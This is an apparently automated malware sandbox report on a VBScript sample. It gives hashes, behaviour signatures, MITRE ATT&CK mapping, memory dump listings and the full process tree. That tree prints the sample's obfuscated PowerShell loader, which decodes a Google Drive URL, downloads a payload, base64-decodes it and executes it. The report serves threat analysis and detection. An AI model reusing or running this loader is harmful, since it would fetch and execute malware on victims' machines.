76c88e4b377d41dfe161b376980bfb00e7f6de64ceb4176781c593a6a52ab903

General

Target

76c88e4b377d41dfe161b376980bfb00e7f6de64ceb4176781c593a6a52ab903.vbs
Size

13KB
MD5

41260c6f81f78ee61ccd078108ac0917
SHA1

d4ba2f476db10bbe352f5dc55b01e9c49e1a34e6
SHA256

76c88e4b377d41dfe161b376980bfb00e7f6de64ceb4176781c593a6a52ab903
SHA512

24e211b640b69d719f5329c4246107208d19cf80141af6d5d3bd0421211baa057a151fc62da78d8286f312e7debf950bf17bc211635502cef003ba390e3d4871
SSDEEP

192:HQymqKcgfBbe9/CplkEQOG4HfZM9mmPX70+rVz3Q/ll3DnF+Boe4whBXsivvXq:wxG/wQ0wPLqv5IB2

Score

6^/10

Malware Config

Signatures

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	drive.google.com
3	drive.google.com

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2636	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3008 wrote to memory of 2636	3008	WScript.exe	28
PID 3008 wrote to memory of 2636	3008	WScript.exe	28
PID 3008 wrote to memory of 2636	3008	WScript.exe	28
PID 2636 wrote to memory of 2452	2636	powershell.exe	30
PID 2636 wrote to memory of 2452	2636	powershell.exe	30
PID 2636 wrote to memory of 2452	2636	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\76c88e4b377d41dfe161b376980bfb00e7f6de64ceb4176781c593a6a52ab903.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Outtorn modarbejdelsens Mucorine #>;$Semicrustaceous=(cmd /c set /A 115^^0);Function lykkeliges ([String]$Cliched){$Semicrustaceous=[char][int]$Semicrustaceous;$tilfrselsvejs=$Semicrustaceous+'ubstring';$Fiskeriforeningen=8;$Bourree=Libel($Cliched);For($Biconsonantal=7; $Biconsonantal -lt $Bourree; $Biconsonantal+=$Fiskeriforeningen){$Syrisk=$Cliched.$tilfrselsvejs.Invoke($Biconsonantal, 1);$Sandaflejringer=$Sandaflejringer+$Syrisk;}$Sandaflejringer;}function Deescalating ($Beshroud){& ($kindlings) ($Beshroud);}function Libel ([String]$vngers){$Besvogrede=$vngers.Length-1;$Besvogrede;}$Racens=lykkeliges 'StamkunT.nmodtarGenhrsbazones.enDa skursFagfo,kfUngr.mmeHinduisr FastfrrVernaliiBour.ognElectrogEternel ';$Hibiscusen197=lykkeliges 'Exultanh Forbodt ycoderthomologp RacehesAntipat:Totakts/Reassu./ Ufo,ded Diskfirk.ipsediQuantisvSygeplee M rjor.LustratgOpf.rdroAlbretdo SolvengTanzanilKvartaae Sle,ne.Lers,nscLis.esioDiffracmSi,plet/sjldne,uYidd,shcTriser,?IrrepeteKronprixBoligvepSanskrioFramboerDrmmeudtnationa= periphdFuppergoUdskridw Sko.stnD.hrheclInduceroStaalsaaIndeksedSpencer& DifferiHo.mened Tilbin=Ruinere1Orangeb4 Indfat8FitchetYEloinsfQKilovarXInterpulCatchpoFF.rtaleFCulminaLe.astictStichidcOvercenVBes atn_AfdmpedISvinskeN SydameE OslosaKAktiekozTreponepMet ors8Disacqu9 yloses7Expound5 San tomdihydrofPurposifHubbyra6S,veblo4Udmaalismnttelewunpol,uFTom.ybaj Tovt.k ';$kindlings=lykkeliges 'Sub,otaiUdarmnieUnbenevx Upprop ';$Wantlessness=lykkeliges ' Procla$bal.astg Retranl andateoaflbsbrb BefretaBrutenol Brndek:Prj.dicHHoppe.ssPersonal,tenodaiStarworg anvass polyure=Insur e G okdiS PlaisttDelepunaBoonregr Mul.letPirquet-Fas slaB Dialisi Vota.itAngl mas Kab alTUnaudibrNe.verpaFore,ronDispenssRejfninf Pseud e S.misorStrateg Overens-AktioniSstrapnio CentenuDemokrarClavellcSkral,eeOrnit o joani.a$B.andhvHTrona.viFrsteinbGymnorhiR,doubts ReallecMatrikuuNonedu.sEm lanee Er tennUstemte1Direkti9Ja dies7 K,iskl Fjaser -StatureDB,urrede,aksiersEndrg.it Unravei BassetnT trigiaBel.relt TilknyiKlabautoSpinde.nLvs,ven v.tiski$dioeciaS ExplodmCentraliBrotherrmokihank Controyphytosy ';Deescalating (lykkeliges ' Skibsp$Selvir,gHypermel TrematoTaknemmbAntihemaSteapsilB fidat: reckydSAlkoholmEuropamiTrngslerIntersckBalked,y aledic=Byggese$AlgateeeViolininUsninicv St.ejk:Theo,icaMucron parbejdspH,merald UnrobbaSterilitKommandaAntibio ') ;Deescalating (lykkeliges ' friturIUsikk rmConna,ephalvtreoWisdom,rBegrnset Alumro-Lazedi.MReprsenoHandlekdmacroplu,yldekalUngarbee Subant FejlmedBSciaticiKulturstSalicetspre,ricTSinald,r,lndfriavicarianSeychels PreboifEgesalee UnlatcrSyrebad ') ;$Smirky=$Smirky+'\Opkrvnings.blo' ;Deescalating (lykkeliges 'Unsalin$Diag,osgClatterlSynnem,oNotitiab.iallylaNatu,aol Suffus:SkjulerA watercsRadialgc Spind,e.hireskbI.dstndcTressle=Organi,( PolitiTAdmiraleMadammesRunologt.andels-BuningePDepsideaSvangertForsvi.hMoggioe Bud,in$Ca ullaSKnkbrdhmKodesekiYemenitr Dggelak FlakieyEucleaf)Traditi ') ;while (-not $Ascebc) {Deescalating (lykkeliges 'ForefinI .volutfSequest Bollwo.( Ove li$ Cance H rynsersEvergrelnoneteriSs.nercg Deputa.Plade,uJKundeseoSandbl bgearboxSRe,sstitsomlerdaRecondet TasteaeSubicul Bor fa- BevidneTrkensmq Hovedv Sadelp$MetalslRSkaldyraBaccarpcTilvendeRaaddetn.edsages po,emi)Cospons eburini{ WestmiS Pa tsftGivnereaNinetterFagmesstFollow,-backl gSEncumbelCyanopseTonnag,eF.ightypUnvitre Undivin1strap.i}OverloaeCi.culalAdvertss Stamkaemaus lk{Fors,elSSkyggettStrmlina Libi.urScrabblt Indrin-Fad nesSspiron lgropingeTje.esteoverra pDeratsp fourfi1L,thogr;MagteslDSnne neehawcuaieKoksenes TravoicWomaniza Verdenlcohobata poringtsengelsiDelresunI.dgangg slavic N,taria$chionasWPr gramaUnd rekn udtonitStringylIsauriae.homasssStyringsPrestimnOptagere Largiss DiagrasModh,ge} .agsor ');Deescalating (lykkeliges ' V.luta$obfuscagt,trakelMajkat.o Automob SponsoaDoorstol,ortbrs:GaspistAPjkkerisEgenartc BretageKokettebOomp prc Poddi =Sa,fund(Svul teT DahlyaeSigmaersBarricatCompony-DisableP HimlecaArgument RaadfrhKjrsesc Spolcro$StandseSStilem mPicnickiTarmssarDisturbkSupertryBil.pra)Permeat ') ;}Deescalating (lykkeliges 'Mesophy$Ko.sonagFlagermlRetouc oMisbiasbKnskvota Apat elSuperno:buffaloH ,odehaoArmagnavSteepg.eAlte.nedEnflowepDesmosorFe,tivaoLycanthg.ndrogerOmskiftaTipssenm JoreetmSt,redeeDyrtiderOraculosOptstor Aucania=N,rdkal Sreg.enGBygninge Ga,leetJamesyf-ionisatCSocialio DwarfenOktet.etAcronyceNonwaivnFodboldtInterco Blowpip$SulfoneS LeniasmUnencipilogicizrForsmkkk Chinesy exiter ');Deescalating (lykkeliges ' Collem$Ent esagKo,mentlOmmblerocivilarbKatchina UdpantlDiskabo:F iezesSUopmrkspI tercaaForarbedBeredskoHallooinBombadiiSnobscasEgali.emtw tter bilins=Album n periost[StvlesnSlgristeyKo,gulasFraelajtCyanoa eForsta,mRen sgu. KollapCDanskheobrochurnNetherlvSstjerneUnsubjerR,condit Fortyk] Beting: ,atche:GlimlamFMultistrfunn,eso iratimOutstraBChargeaaSu,tendsM,rerlrecinn,mo6 indefo4Lu.iferS robridtTrkfuglrJernt.piKall grnUnwhippgFeltnav(Dokumen$FrizzinHA.othegoSe.vbehv.surpate,ntindkdDigestipVe,neder SubstioR,ggedig.orgensrFinansra Cro,samHu,esysmSignendeSyltetcrDagsku s Maskin) Dobbe. ');Deescalating (lykkeliges ' Prefer$Burianmg Waterwl oreteoOverbegbFormousaBariastl halipl:SpirituSCom lieqRelentmuKnastrriDentis.nChloropnTypotekiAmbiguie PapulasFor ali1 Inst t2Hoggast3 Skydes Viderer=Unspitt Gromwel[Non,ropSAfskib,yReferens JaguartCyclopeeKongsg,mDialekt.Hyperc TKris,eleAnticrex Und.rrt eastie.T ommesEFiskefonind tnicMirakleo UnfugidNontribiReolernnGulvar,gMicro r]Baadvrf:desavou:AutomatAUntenuoSRa inesC SelrerIIsthmiaISisebur. EftersGMa gesee Finhedt.laughtS SvarertEdu,abir UnpreciCurrishnhyperspgRubbere(uncusto$CappaghSHuvelykp BortfjaIndkbsadC imatoo anskbnnEmissioiUnqualisitchweem.mennes),mnorme ');Deescalating (lykkeliges ' Udkald$MiljrefgIner.imlShee.doo,urinambKort draStarri lsapiosk:S.ttepiGOppositrKonkurraLeetsynn Pr.ceddVskeforuLiberden.agtbefcC ucuselRepavineTravellsMe lemf=Virksom$.rintmeSHegemonq MultiguMonark.iSemipsyn Distaln Exten,i.azettee tax mesUnde,vg1Pahoeh,2Venus,a3Menings.Sodom es ThyreouStabli.bWorkfars EclairtMalingsrn ncrypi DatahanMesophagfejl.ri(Tilgivn3Skam.id3 Obtrud7Slidstr1Furansb4Unworka6 lusepo,,ortogu2S ernoh9Sambes 9 Presch5Krigshe0logarit)rendegr ');Deescalating $Granduncles;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c set /A 115^^0
    3⤵
    PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2636-4-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download
memory/2636-5-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2636-7-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2636-8-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2636-9-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2636-10-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2636-6-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2636-11-0x000000001B490000-0x000000001B4B2000-memory.dmp

Filesize
136KB

Download
memory/2636-12-0x0000000002AE0000-0x0000000002AF2000-memory.dmp

Filesize
72KB

Download
memory/2636-13-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2636-14-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing